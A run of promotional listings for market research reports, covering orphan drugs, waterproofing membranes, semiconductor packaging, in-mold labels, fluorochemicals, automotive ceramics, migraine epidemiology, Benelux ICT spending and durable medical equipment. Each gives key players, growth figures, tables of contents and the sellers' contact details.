Disease1.2 Orphan Drugs2. Global Orphan Drugs Market2.1 Orphan Drugs Market Value2.2 Orphan Drugs Market Forecast by Value2.3 Orphan Drugs Market by Product2.4 Orphan Drugs Share in Prescription Drugs Market2.5 Orphan Drugs Share Forecast in Prescription Drugs Market3. Regional Markets3.1 The Americas3.1.1 The U.S Orphan Drugs Spending Forecast3.1.2 The U.S. Orphan Drug Volume3.1.3 The U.S. Orphan Drug Average & Median Cost per Patient3.1.4 The U.S. Orphan Drug Average & Median Cost per Patient Forecast3.1.5 Canada Orphan Drugs Spending3.1.6 Canada Orphan Drugs Spending Forecast3.2 Europe3.2.1 Europe Orphan Drugs Market Forecast by Value3.2.2 Europe Orphan Drugs Market by Product3.2.3 Europe Orphan Drug Volume3.3 Asia3.3.1 Japan Orphan Drug Volume3.3.2 India Orphan Drugs Market Value Forecast4. Market Dynamics.4.1 Growth Drivers4.1.1 Prolonged Orphan Drug Market Exclusivity4.1.2 Increasing Sales of Prescription Drugs4.1.3 Attractive Orphan Drug Policies4.1.4 Rising Healthcare Expenditure4.1.5 Improving Economic Condition4.1.6 Increasing Prevalence of Chronic Diseases4.2 Key Trends4.2.1 Progressing Drug Pipeline4.2.2 Increasing Treatment Options in Oncology4.2.3 Increasing Scope of Gene Therapy4.3 Challenges4.3.1 High Cost Drugs4.3.2 Lack of Diagnostic Systems and Trained Professionals4.3.3 Insufficient Disease Information and Research Participants4.3.4 Rising Competition from Generic Industry5. Competition5.1 Global Market5.1.1 Global Orphan Drugs Market Share by Company5.2 Europe5.2.1 Europe Orphan Drugs Market Share by CompanyContinue...About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Waterproofing Membranes Global and United States Industry Research Report 2017-2022

Waterproofing Membranes

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Researchmoz added Most up-to-date research on "Global and United States Waterproofing Membranes In-Depth Research Report 2017-2022" to its huge collection of research reports.The report is based on the market historical data from 2012 to 2016 and forecast the market trend from 2017 to 2022.This report focuses on the U.S. market and presents volume and value of market share by players, by regions, by product type, by consumers and also changes in prices. As an in-depth report, it covers all details inside analysis and opinions in Waterproofing Membranes industry.Major CompaniesCarlisle Companies Inc. (U.S.)Firestone Building Products Company, LLC (U.S.)Soprema Group (France), GSE Environmental (U.S.)BASF SE (Germany)The Dow Chemical Company (U.S.)Johns Manville (U.S.)Sika AG (Switzerland)GAF Materials Corporation (U.S.)Oriental Yuhong (China)Wahgon Waterproof Coporation (China)Weifang Xuxin Waterproof Technology Co., Ltd (China)Desheng Waterproofing (China)Woniushan Neo Waterproofing (China)To Get Sample Copy of Report visit @Key RegionsNorth AmericaUnited StatesCaliforniaTexasNew YorkOthersCanadaLatin AmericaMexicoBrazilArgentinaOthersEuropeGermanyUnited KingdomFranceItalySpainRussiaNetherlandOthersAsia & PacificChinaJapanIndiaKoreaAustraliaSoutheast AsiaIndonesiaThailandPhilippinesVietnamSingaporeMalaysiaOthersAfrica & Middle EastSouth AfricaEgyptTurkeySaudi ArabiaIranOthersMain types of productsWaterproofing Membranes Market, by TechnologyImmersion methodVacuum coatingWaterproofing Membranes Market, by Waterproofing Membranes TypeModified BitumenPVCEPDMTPOHDPEWaterproofing Membranes Market, by Key ConsumersRoofing & WallsBuilding StructuresWaste & Water ManagementTunnels & LandfillsBridges & HighwaysGet Complete TOC With Tables and Figures @Table of ContentsGlobal and United States Waterproofing Membranes In-Depth Research Report 2017-2022Chapter One Global Waterproofing Membranes Market Overview1.1 Global Waterproofing Membranes Market Sales Volume Revenue and Price 2012-20171.2 Waterproofing Membranes, by Technology 2012-20171.2.1 Global Waterproofing Membranes Sales Market Share by Technology 2012-20171.2.2 Global Waterproofing Membranes Revenue Market Share by Technology 2012-20171.2.3 Global Waterproofing Membranes Price by Technology 2012-20171.2.4 Immersion method1.2.5 Vacuum coating1.3 Waterproofing Membranes, by Waterproofing Membranes Type 2012-20171.3.1 Global Waterproofing Membranes Sales Market Share by Waterproofing Membranes Type 2012-20171.3.2 Global Waterproofing Membranes Revenue Market Share by Waterproofing Membranes Type 2012-20171.3.3 Global Waterproofing Membranes Price by Waterproofing Membranes Type 2012-20171.3.4 Modified Bitumen1.3.5 PVC1.3.6 EPDM1.3.7 TPO1.3.8 HDPEChapter Two United States Waterproofing Membranes Market Overview2.1 United States Waterproofing Membranes Market Sales Volume Revenue and Price 2012-20172.2 Waterproofing Membranes, by Technology 2012-20172.2.1 United States Waterproofing Membranes Sales Market Share by Technology 2012-20172.2.2 United States Waterproofing Membranes Revenue Market Share by Technology 2012-20172.2.3 United States Waterproofing Membranes Price by Technology 2012-20172.2.4 Immersion method2.2.5 Vacuum coating2.3 Waterproofing Membranes, by Waterproofing Membranes Type 2012-20172.3.1 United States Waterproofing Membranes Sales Market Share by Waterproofing Membranes Type 2012-20172.3.2 United States Waterproofing Membranes Revenue Market Share by Waterproofing Membranes Type 2012-20172.3.3 United States Waterproofing Membranes Price by Waterproofing Membranes Type 2012-20172.3.4 Modified Bitumen2.3.5 PVC2.3.6 EPDM2.3.7 TPO2.3.8 HDPEChapter Three Waterproofing Membranes by Regions 2012-20173.1 Global Waterproofing Membranes Sales Market Share by Regions 2012-20173.2 Global Waterproofing Membranes Revenue Market Share by Regions 2012-20173.3 Global Waterproofing Membranes Price by Regions 2012-20173.4 North America3.4.1 United States3.4.1.1 California3.4.1.2 Texas3.4.1.3 New York3.4.1.4 Others in United States3.4.2 Canada3.5 Latin America3.5.1 Mexico3.5.2 Brazil3.5.3 Argentina3.5.4 Others in Latin America3.6 Europe3.6.1 Germany3.6.2 United Kingdom3.6.3 France3.6.4 Italy3.6.5 Spain3.6.6 Russia3.6.7 Netherland3.6.8 Others in Europe3.7 Asia & Pacific3.7.1 China3.7.2 Japan3.7.3 India3.7.4 Korea3.7.5 Australia3.7.6 Southeast Asia3.7.6.1 Indonesia3.7.6.2 Thailand3.7.6.3 Philippines3.7.6.4 Vietnam3.7.6.5 Singapore3.7.6.6 Malaysia3.7.6.7 Others in Southeast Asia3.8 Africa & Middle East3.8.1 South Africa3.8.2 Egypt3.8.3 Turkey3.8.4 Saudi Arabia3.8.5 Iran3.8.6 Others in Africa & Middle EastChapter Four Global Waterproofing Membranes by Companies 2012-20174.1 Global Waterproofing Membranes Sales Volume Market Share by Companies 2012-20174.2 Global Waterproofing Membranes Revenue Share by Companies 2012-20174.3 Global Top Companies Waterproofing Membranes Key Product Model and Market Performance4.4 Global Top Companies Waterproofing Membranes Key Target Consumers and Market PerformanceChapter Five United States Waterproofing Membranes by Companies 2012-20175.1 United States Waterproofing Membranes Sales Volume Market Share by Companies 2012-20175.2 United States Waterproofing Membranes Revenue Share by Companies 2012-20175.3 United States Top Companies Waterproofing Membranes Key Product Model and Market Performance5.4 United States Top Companies Waterproofing Membranes Key Target Consumers and Market PerformanceChapter Six Global Waterproofing Membranes by Consumer 2012-20176.1 Global Waterproofing Membranes Sales Market Share by Consumer 2012-20176.2 Roofing & Walls6.3 Building Structures6.4 Waste & Water Management6.5 Tunnels & Landfills6.6 Bridges & Highways6.7 Consuming Habit and PreferenceContinue...About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Semiconductor Packaging Material Market Global Research Report 2017 Analysis & Forecast to 2027

Semiconductor Packaging Material Market 2017

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Semiconductor Packaging Material Market 2017Summary:Global Semiconductor Packaging Material Market Information by types (organic substrates, bonding wires, encapsulation resins, ceramic packages, solder balls, wafer level packaging dielectrics and others) by technology (Grid Array, Small Outline Package, Dual Flat No-Leads, Quad Flat Package, Dual In-Line Package and others) - Forecast To 2027Key PlayersThe leading market players in the global semiconductor packaging material market primarily include Henkel AG, Hitachi Chemical, Sumitomo Chemical, Kyocera Chemical, Mitsui High-Tec, Toray Industries Corporation, Alent PLC, LG Chemical and others.Request For Sample Report @Market Synopsis of Semiconductor Packaging Material MarketThe global semiconductor packaging material has witnessed a remarkable growth over the past year owing to the rising demand for mobile phones, tablets and other communication devices and as per the estimation the market will keep on growing during the forecast year. The semiconductor packaging materials is major platform to the success of the semiconductor business across the globe and the changing in consumer electronics are driving the changes in packaging materials market. The major factor which is driving the global market is continuously growing mobile industry and technological advancements. Owing to the increased demand for mobile and other communication devices has augmented the semiconductor packaging material market. Geographically, Asia-Pacific is one of the crucial market due to the presence of vast electronic industry in China, Japan and South Korea. This factor has placed Asia-Pacific the leading market in near future followed by North America and Europe.Study Objectives of Semiconductor Packaging Material Market To provide detailed analysis of the market structure along with forecast for the next 10 years of the various segments and sub-segments of the Global Semiconductor Packaging Material Market To provide insights about factors affecting the market growth To Analyse the Global Semiconductor Packaging Material Market based on various factors- price analysis, supply chain analysis, porters five force analysis etc. To provide historical and forecast revenue of the market segments and sub-segments with respect to four main geographies and their countries- North America, Europe, Asia, and Rest of the World (ROW) To provide country-level analysis of the market with respect to the current market size and future prospective To provide country-level analysis of the market for segment by technology and types To provide strategic profiling of key players in the market, comprehensively analysing their core competencies, and drawing a competitive landscape for the market To track and analyse competitive developments such as joint ventures, strategic alliances, mergers and acquisitions, new product developments, and research and developments in the Global Semiconductor Packaging Material MarketSegmentationAs per MRFR analysis, the global semiconductor packaging material market has been segmented into:By Types: organic substrates, bonding wires, encapsulation resins, ceramic packages, solder balls, wafer level packaging dielectrics and others.By Technology: Grid Array, Small Outline Package, Dual Flat No-Leads, Quad Flat Package, Dual In-Line Package and others.Complete Report Details @Table of ContentsRequest for Table of ContentsContinued.About Us:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR) and Market Research & Consulting Services.MRFR team have the prime objective to provide optimum quality market research and intelligence services to our clients. Our market research studies depending on products, services, technologies, applications, end users, and market players for global, regional, and country level market segments enables our clients to know more consequently do more, which gives them answer for their each and every important question. In order to stay updated with technology and work process of the industryCONTACT US:Akash Anand,Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312akash.anand@marketresearchfuture.com
In-mold Labels Market Global Research Report 2017 Analysis & Forecast to 2022

In-Mold Labels Market 2017

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In-Mold Labels Market 2017Summary:Global In-Mold Labels Market Information by Technology (Extrusion blow-molding process, Injection molding process, Thermoforming and others) Material (Polypropylene, Polyvinylchloride, ABS resins and others) Application (Food & Beverage, Chemicals, Personal Care, Consumer goods, and others) and - Forecast to 2022Market Synopsis of In Mold Labels MarketThe key factor contributing to the growth of the global in-mold labels market is the automated nature of the in-mold labeling process. In-mold labeling reduced the traditional processes such as hand finishing, polishing, finishing and changing of stack mold. The raw material used to manufacture in-mold labels is polypropylene. Polypropylene is extremely versatile as a plastic material. Many manufacturers in the market are developing advanced technologies.Food & beverage is the dominant industry due to the increase in demand for packaged food items, branded products and consumer awareness toward authenticity of the product. European region accounted for the largest share in terms of value and volume followed by North America and Asia Pacific. The share is attributed to the increasing demand for in-mold labels, increasing manufacturing output, rising income and consumption level, and growing demand for effective and efficient labeling solutions. The global in-mold labels market is expected to cross a market size of USD 4 Billion, growing at a CAGR of 5.2% by the end of 2022.Key PlayersThe key players of global In-mold labels market report include CCL Industries Inc., Constantia Flexibles Group GmbH, Coveris Holding S.A, Cenveo Inc., EVCO Plastics, Fuji Seal International Inc, Huhtamaki Group, Inland Label & Marketing Services, LLC, Innovia Films Ltd and Multicolor Corporation.Request For Sample Report @Study Objectives of In-mold Labels Market To provide detailed analysis of the market structure along with forecast for the next 6 years of various segments and sub-segments of the Global In-mold Labels Market To provide insights about factors affecting the market growth To analyze the Global In-mold Labels Market based on various factors- price analysis, supply chain analysis, porters five force analysis etc. To provide historical and forecast revenue of the market segments and sub-segments with respect to four main geographies and their countries- North America, Europe, APAC, and Rest of the World (ROW) To provide country level analysis of the market with respect to the current market size and future prospective To provide country level analysis of the market for segment by technology, material, application, and regions To provide strategic profiling of the key players in the market, comprehensively analyzing their core competencies, and drawing a competitive landscape for the market To track and analyze competitive developments such as joint ventures, strategic alliances, mergers and acquisitions, new product developments, and research and developments in the Global In-mold Labels Market.Company Information Profiling of 10 key market players In-depth analysis including SWOT analysis, and strategy information of related to report title Competitive landscape including emerging trends adopted by major companiesThe report for Global In-mold Labels Market of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report provides details information and strategies of the top key players in the industry. The report also gives a broad study of the different market segments and regions.Complete Report Details @Table of Contents1 Executive Summary2 Scope Of The Report3 Market Research Methodology4 Market Landscape5 Industry Overview Of Global In-Mold Labels Market6 Market Trends7 Global In-Mold Labels Market By Region8 Global In-Mold Labels Market By Technology9 Global In-Mold Labels Market By Material10 Global In-Mold Labels Market By Application11 Company ProfilesContinued.About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.CONTACT US:Akash Anand,Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312akash.anand@marketresearchfuture.com
Fluorochemicals Global Market 2017: Key Players  Adama Agricultural Solutions Ltd, BASF SE, Bayer CropScience AG, Chemtura AgroSolutions

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Fluorochemicals IndustryDescriptionWiseguyreports.Com Adds Fluorochemicals -Market Demand, Growth, Opportunities and Analysis Of Top Key Player Forecast To 2022 To Its Research DatabaseThe Global Fluorochemicals Market accounted for $18.90 billion in 2015 and is poised to reach $27.59 billion by 2022 while growing at a CAGR of 5.6% from 2015 to 2022. Increasing number of nuclear families and manufacturing & automotive sectors had created demand for refrigeration techniques and HVAC systems, which in turn had given rise to the need of fluorochemicals. Due to the presence of fewer competitors in fluorochemicals market there are lots of opportunities involved. However, factors such as growth in aluminium industry as a substitute product had created a threat to the global market.Fluoropolymers segment is expected to witness significant growth over the forecast period owing to the increasing consumption of in electronics, construction and automotive industries on account of providing high tensile strength and electrical insulation. Moreover Asia Pacific region is accounted for the fastest growing market due to the need for more refrigerators & HVAC installations in the developing countries.Some of the major players of the fluorochemicals market include Adama Agricultural Solutions Ltd, BASF SE, Bayer CropScience AG, Chemtura AgroSolutions, DOW chemical Company, DuPont, Germains Seed Technology, Monsanto Company, Novozymes A/S, Nufarm Limited, Plant Health Care, Precision Laboratories LLC, Sumitomo Chemical Company Limited, Syngenta International AG and Valent USA Corporation.Request for Sample Report @Products Covered: Fluorosurfactants Fluoropolymers Fluorocarbonso Hydrochlorofluorocarbons (HCFCs)o Hydrofluorocarbon (HFC)o Other Fluorocarbons Fluororepellants Inorganic fluoridesApplications Covered: Air-conditioning Aluminum Production Blowing Agents Firefighting RefrigerationRegions Covered: North Americao USo Canadao Mexico Europeo Germanyo Franceo Italyo UKo Spaino Rest of Europe Asia Pacifico Japano Chinao Indiao Australiao New Zealando Rest of Asia Pacific Rest of the Worldo Middle Easto Brazilo Argentinao South Africao EgyptLeave a Query @What our report offers:- Market share assessments for the regional and country level segments- Market share analysis of the top industry players- Strategic recommendations for the new entrants- Market forecasts for a minimum of 7 years of all the mentioned segments, sub segments and the regional markets- Market Trends (Drivers, Constraints, Opportunities, Threats, Challenges, Investment Opportunities, and recommendations)- Strategic recommendations in key business segments based on the market estimations- Competitive landscaping mapping the key common trends- Company profiling with detailed strategies, financials, and recent developments- Supply chain trends mapping the latest technological advancementsTable of Content1 Executive Summary2 Preface2.1 Abstract2.2 Stake Holders2.3 Research Scope2.4 Research Methodology2.4.1 Data Mining2.4.2 Data Analysis2.4.3 Data Validation2.4.4 Research Approach2.5 Research Sources2.5.1 Primary Research Sources2.5.2 Secondary Research Sources2.5.3 Assumptions3 Market Trend Analysis3.1 Introduction3.2 Drivers3.3 Restraints3.4 Opportunities3.5 Threats3.6 Product Analysis3.7 Application Analysis3.8 Emerging Markets...8 Key Developments8.1 Agreements, Partnerships, Collaborations and Joint Ventures8.2 Acquisitions & Mergers8.3 New Product Launch8.4 Expansions8.5 Other Key Strategies9 Company Profiling9.1 Adama Agricultural Solutions Ltd9.2 BASF SE9.3 Bayer CropScience AG9.4 Chemtura AgroSolutions9.5 DOW chemical Company9.6 DuPont9.7 Germains Seed Technology9.8 Monsanto Company9.9 Novozymes A/S9.10 Nufarm Limited9.11 Plant Health Care9.12 Precision Laboratories LLC9.13 Sumitomo Chemical Company Limited9.14 Syngenta International AG9.15 Valent USA CorporationBuy Now @Continued...Contact Us: Sales@Wiseguyreports.Com Ph: +1-646-845-9349 (Us) Ph: +44 208 133 9349 (Uk)About Us:Wise Guy Reports Is Part Of The Wise Guy Consultants Pvt. Ltd. And Offers Premium Progressive Statistical Surveying, Market Research Reports, Analysis & Forecast Data For Industries And Governments Around The Globe. Wise Guy Reports Features An Exhaustive List Of Market Research Reports From Hundreds Of Publishers Worldwide. We Boast A Database Spanning Virtually Every Market Category And An Even More Comprehensive Collection Of Market Research Reports Under These Categories And Sub-Categories.Addres:Wise Guy Research Consultants Pvt LtdPune  411028Maharashtra, GlobalPh: +91 841 198 5042
Automotive Ceramics Market - Sizing, Growth, Application (Ceramic Sensors, Ceramic Engine Accessories, Ceramic Coatings) : Analysis and Outlook (2017-2022)

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ReportsWeb.com has announced the addition of the Global Automotive Ceramics Market Research Report The report focuses on global major leading industry players with information such as company profiles, product picture and specification.Increasing government regulations regarding emission of greenhouse gases and various other hazardous pollutants along with the growing focus on electric, hybrid vehicles has led to the growth of automotive ceramics market.Market for Advanced ceramic in automotive industry is growing steadily on account of stringent government regulations regarding emission control as well as fuel economy standards. Respiratory and lung diseases such as Asthma, Leukemic, and Pulmonary Cancer etc. are gaining prominence among both adult and aged population. Air pollution caused due to transportation sector has been a major contributor.Among the segments, the market is expected to be driven by ceramic engine accessories on account of increasing government regulations concerning vehicle emission. Ceramic sensors are also anticipated to witness ample growth, owing to the technological advancements leading to higher adoption rates.While developed regions will continue to dominate the market in terms of revenue, emerging nations are expected to respond to the market optimistically due to increasing number of vehicle production in the region coupled with increasing government norms concerning air pollution.Request Sample Copy is Available atGlobal Automotive Ceramic Market is forecasted to grow at a CAGR of 8.52% during 2017 - 2022F, on account of rising environmental awareness among the population.North America region remains the major market among all the regions. In the forecast period, APAC region will witness strong growth driven by the countries such as Japan, India and China.According to Publisher research report, "Global Automotive Ceramics Market -Sizing, Growth, Application (Ceramic Sensors, Engine Accessories, Ceramic Coatings) : Analysis and Outlook (2017-2022) '', Global Automotive Ceramics market is projected to exhibit a CAGR of over ~8.52% during 2017 - 2022. On the basis of market segment, Global Automotive Ceramics Market has been segmented By Applications (Ceramic Sensors, Ceramic Engine Accessories, Ceramic Coatings and Others) ; By Region (North America, Europe, APAC, and ROW) and By Country (U.S., Canada, UK, Germany, China, Japan, India)Global Market (Actual Period: 2012-2016, Forecast Period: 2017-2022)- Automotive Ceramics Market- Ceramic Sensors- Ceramic Engine Accessories- Ceramic CoatingsRegional Markets - N. America, Europe, APAC, RoW (Actual Period: 2012-2016, Forecast Period: 2017-2022)- Automotive Ceramics Market- Ceramic Sensors- Ceramic Engine Accessories- Ceramic CoatingsCountry Analysis - U.S., Canada, UK, Germany, China, Japan, India (Actual Period: 2012-2016, Forecast Period: 2017-2022)- Automotive Ceramics Market- Ceramic Sensors- Ceramic Engine Accessories- Ceramic Coatings-ther Report Highlights:Market Dynamics - Trends, Drivers, ChallengesPolicy and RegulationCompany Analysis - Morgan Advanced Materials, Kyocera, CeramTec, IBIDEN CO., Ltd., Corning Inc., CoorsTek Solutions, Ceradyne Inc., Saint Gobain Ceramic Materials, McDanel Advanced Ceramic Technologies, Dyson Technical Ceramic Ltd., Elan TechnologyInquire about this Report atScope of the ReportAutomotive Ceramics Market Companies Mentioned:1. Morgan Advanced Materials2. Kyocera3. CeramTec4. IBIDEN CO., Ltd.5. Corning Inc.,6. CoorsTek Solutions7. Ceradyne Inc.8. Saint Gobain Ceramic Materials9. McDanel Advanced Ceramic Technologies10. Dyson Technical Ceramic Ltd.11. Elan TechnologyAbout ReportsWeb:ReportsWeb.com is a one stop shop of market research reports and solutions to various companies across the globe. We help our clients in their decision support system by helping them choose most relevant and cost effective research reports and solutions from various publishers. We provide best in class customer service and our customer support team is always available to help you on your research queriesContact Us:505, 6th floor, Amanora Township,Amanora Chambers, East Block,Kharadi Road, Hadapsar, Pune-411028Phone : +91-20-67278686E-Mail : info@reportsweb.com
EpiCast Report: Migraine-Epidemiology Forecast to 2026

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Migraine is characterized by recurring headaches and throbbing pain on one side of the head accompanied by nausea, vomiting, or increased sensitivity to light or smell. While most migraineurs experience episodic migraines (EM), a small percentage suffers from chronic migraine (CM). In addition to its debilitating pain, migraines are also associated with more severe cardiovascular and neuropsychological comorbidities. Because migraine is one of the most prevalent types of headache, there is a substantial economic and social burden associated with the condition worldwide, and it is therefore recognized as a high-priority public health problem by the World Health Organization.In 2016, there were 73,914,635 total prevalent cases of migraine in adults ages 18 years and older in the 7MM. The US had the most cases, while Spain had the fewest. In the 7MM, the number of total prevalent cases of migraine is expected to grow to 74,543,569 by 2026, at an Annual Growth Rate (AGR) of 0.09%. Since age-and sex-specific prevalence was held constant throughout the forecast period, all changes in the total prevalent cases of migraine are the result of demographic changes. Publisher epidemiologists estimate that 1.61% of total migraine cases in the 7MM in 2016 were CM.Request a Sample Report@This forecast is supported by country-specific prevalence studies for each market, most of which are based on nationally representative samples. Publisher epidemiologists are confident that these sources provide the most accurate and robust data available in each market. Additionally, Publisher epidemiologists used consistent methodology while creating forecasts for each market. This allows useful and accurate comparisons regarding total prevalent cases of migraine between markets.Report Scope:-The Migraine EpiCast Report provides an overview of the risk factors and global trends of migraine in the seven major markets (7MM: US, France, Germany, Italy, Spain, UK, and Japan). It includes a 10-year epidemiological forecast for the total prevalent cases of migraine segmented by sex and age (for ages 18 years and older) in these markets. This forecast is further segmented by migraine frequency into episodic migraine (EM) and chronic migraine (CM).-The migraine epidemiology report is written and developed by Masters-and PhD-level epidemiologists.-The EpiCast Report is in-depth, high quality, transparent and market-driven, providing expert analysis of disease trends in the 7MM.Reasons to buy:The Migraine EpiCast report will allow you to--Develop business strategies by understanding the trends shaping and driving the global migraine market.-Quantify patient populations in the global migraine market to improve product design, pricing, and launch plans.-Organize sales and marketing efforts by identifying the age groups and sex that present the best opportunities for migraine therapeutics in each of the markets covered.-Identify the percentage of migraine prevalent cases by frequency.Inquire before Buying@Table of Contents:1. Table of Contents 21.1 List of Tables 31.2 List of Figures 32 Executive Summary 42.1 Related Reports 52.2 Upcoming Reports 53 Epidemiology 63.1 Disease Background 63.2 Risk Factors and Comorbidities 63.3 Global and Historical Trends 93.3.1 US 103.3.2 5EU 113.3.3 Japan 113.4 Forecast Methodology 113.4.1 Sources 123.4.2 Forecast Assumptions and Methods 143.5 Epidemiological Forecast for Migraine (2016-2026) 173.5.1 Total Prevalent Cases of Migraine 173.5.2 Age-Specific Total Prevalent Cases of Migraine 183.5.3 Sex-Specific Total Prevalent Cases of Migraine 193.5.4 Migraine Cases by Frequency of Occurrences 203.6 Discussion 213.6.1 Epidemiological Forecast Insight 213.6.2 Limitations of Analysis 223.6.3 Strengths of Analysis 234 Appendix 244.1 Bibliography 244.2 About the Authors 284.2.1 Epidemiologist 284.2.2 Reviewers 284.2.3 Global Director of Therapy Analysis and Epidemiology 294.2.4 Global Head and EVP of Healthcare Operations and Strategy 294.3 About GlobalData 304.4 Contact Us 304.5 Disclaimer 30For more information about this report@About ReportsWeb:ReportsWeb.com is a one stop shop of market research reports and solutions to various companies across the globe. We help our clients in their decision support system by helping them choose most relevant and cost effective research reports and solutions from various publishers. We provide best in class customer service and our customer support team is always available to help you on your research queries.Contact Us:505, 6th floor, Amanora Township,Amanora Chambers, East Block,Kharadi Road, Hadapsar, Pune-411028Phone : +91-20-67278686E-Mail : info@reportsweb.com
ICT Investment Trends in Benelux: Stable economy and inclination towards technology inducing ICT investments

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"ICT Investment Trends in Benelux", presents the findings from a survey of 93 Benelux enterprises regarding their Information & Communications Technology (ICT) investment trends. The survey investigates how Benelux enterprises currently allocate their ICT budgets across the core areas of enterprise ICT expenditure: hardware, software, IT services, communications, and consulting.The report illustrates the core technologies that enterprises are investing in, including enterprise applications, business intelligence, IoT, and cloud computing. The survey also highlights the approach to purchasing technology adopted by enterprises in Benelux. Through Publisher's survey, the report aims to provide a better insight to ICT vendors and service providers when pitching their solutions to enterprises in Benelux.Benelux, the politico-economic union of Belgium, the Netherlands, and Luxemburg is looking for transition to a robust economy by aiming to strengthen its infrastructure and working towards digital internal markets. The survey shows that Benelux enterprises are keen to invest in core technologies, including hardware, software, and IT services, in order to improve their efficiency and productivity.Request a Sample Report@In particular, it provides an in-depth analysis of the following--How ICT budgets are set to change in 2017 in terms of their overall size-Allocation across the core elements of IT spend, including hardware, software, services, communications, and consulting-Distribution of ICT money in areas such as the networks, applications, service desk, and data centers-Which ICT functions Benelux enterprises are interested in outsourcing-Factors that are influencing Benelux enterprises' investments in each technology category-How Benelux enterprises' IT budgets are currently allocated across various segments within a technology category-Benelux enterprises' distribution of their ICT budget across various segments within a technology category-Benelux enterprises' investment priorities based on their budget allocations across core technology categories such as enterprise applications, business intelligence, IoT, and cloud computing-Vendor satisfaction ratings for various core and advanced technology categories-Insight into Benelux enterprises' preferred buying approaches-Business objectives that Benelux enterprises are looking to achieve through their IT investment strategiesReport Scope:-Publisher's survey also reveals that in order to reduce and control operating costs and focus on their core business operations, Benelux enterprises are planning to outsource their applications functions through to the end of 2018.-Cloud computing is also gaining popularity among Benelux enterprises, with software as a service (SaaS) and private cloud expected to witness significant investment in 2017.-Moreover, in order to support widespread workforces, Benelux enterprises are looking to enhance their communications infrastructure, and are planning to increase their expenditure on network, broadband, and conferencing services.Inquire before Buying@Companies Mentioned:IBMMicrosoftHPEInformaticaEMCAdobeAmdocsADPOracleDellGoogleARM HoldingsAWSCiscoTable of Contents:Key findingsKey implications for ICT vendorsExecutive summarySurvey demographicsICT budget changesICT budget allocation by core technology areaHardware budget breakdownSoftware budget breakdownThird party IT services expenditureCommunications expenditureCloud computing budgetICT budget allocation by functionOutsourced IT functionsICT investment priorities and vendor satisfactionEnterprise applicationsBusiness intelligenceInternet of Things (IoT)Cloud ComputingBusiness objectives influencing IT investment strategyICT provider selectionKey decision makers for purchasing technologyAppendixFor more information about this report@About ReportsWeb:ReportsWeb.com is a one stop shop of market research reports and solutions to various companies across the globe. We help our clients in their decision support system by helping them choose most relevant and cost effective research reports and solutions from various publishers. We provide best in class customer service and our customer support team is always available to help you on your research queries.Contact Us:505, 6th floor, Amanora Township,Amanora Chambers, East Block,Kharadi Road, Hadapsar, Pune-411028Phone : +91-20-67278686E-Mail : info@reportsweb.com
Durable Medical Equipment Market of M-E&A to Rich at a CAGR of 4.2 % Predict to 2022

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Durable Medical Equipment (DME) Market Key Players for Middle-East and Africa:Some of the key players in this market are: Invacare Corporation (US), Medical Depot, Inc. (US), The Braun Corporation (US), Sunrise Medical (Germany), Permobil (Sweden), Medline Industries, Inc. (US), Compass Health Brands (US), ArjoHuntleigh (Sweden), Hill-Rom (US), GF HEALTH PRODUCTS, INC. (US)Durable Medical Equipment also known as home medical equipment provides therapeutic benefits to patients. They are very useful for patients who are ill or undergoing some medical procedures. They are widely used by hospitals and clinics. These devices can also be managed by a caregiver or a family member of the patient. Medical professional recommend these devises according to present condition of patients. Due to increasing chronic diseases, high number of geriatric population and accident disability, the demand for durable medical equipment is increasing.Get Sample Report @Middle East and Africa represents about 2% of global healthcare expenditure since countries in these regions bear a heavy burden of disabilities. Durable medical equipment manufacturers are investing huge amount of money to develop more innovative products. Middle-East and Africa Durable Medical Equipment (DME) market is growing moderately at a CAGR of 4.2% and expected to reach US$ 4.65 billion by 2022.Study Objectives of Middle-East and Africa Durable Medical Equipment (DME) Market:To provide detail analysis of the market structure along with forecast for the next 5 years of various segments and sub-segments of the Middle-East and Africa Durable Medical Equipment (DME) market. To provide insights about factors affecting the market growth.To analyze the Middle-East and Africa Durable Medical Equipment (DME) market based on various analyses which includes price analysis, supply chain analysis, Porters Five Force analysis etc. To provide past and estimated future revenue of the markets segments and sub-segments with respect to Middle East & Africa. To provide country level analysis of the market with respect to current market size and future growth prospect. To provide country level analysis of the market for segments which includes by product type, end user and its sub-segments.To provide overview of key players and their strategic profiling in the market, comprehensively analyzing their core competencies and drawing a competitive landscape of the market. To track and analyze competitive developments such as joint ventures, strategic alliances, mergers and acquisitions, new product developments along with research and developments in the Middle-East and Africa Durable Medical Equipment (DME) market.Browse Report @Market Segments:On the basis of end user, the market is segmented into hospitals and clinics, healthcare institutions, research centers, home healthcare and others.On the basis of product type which comprises of blood pressure monitors, blood glucose monitors, ventilators, personal mobility devices, traction equipment, wheel 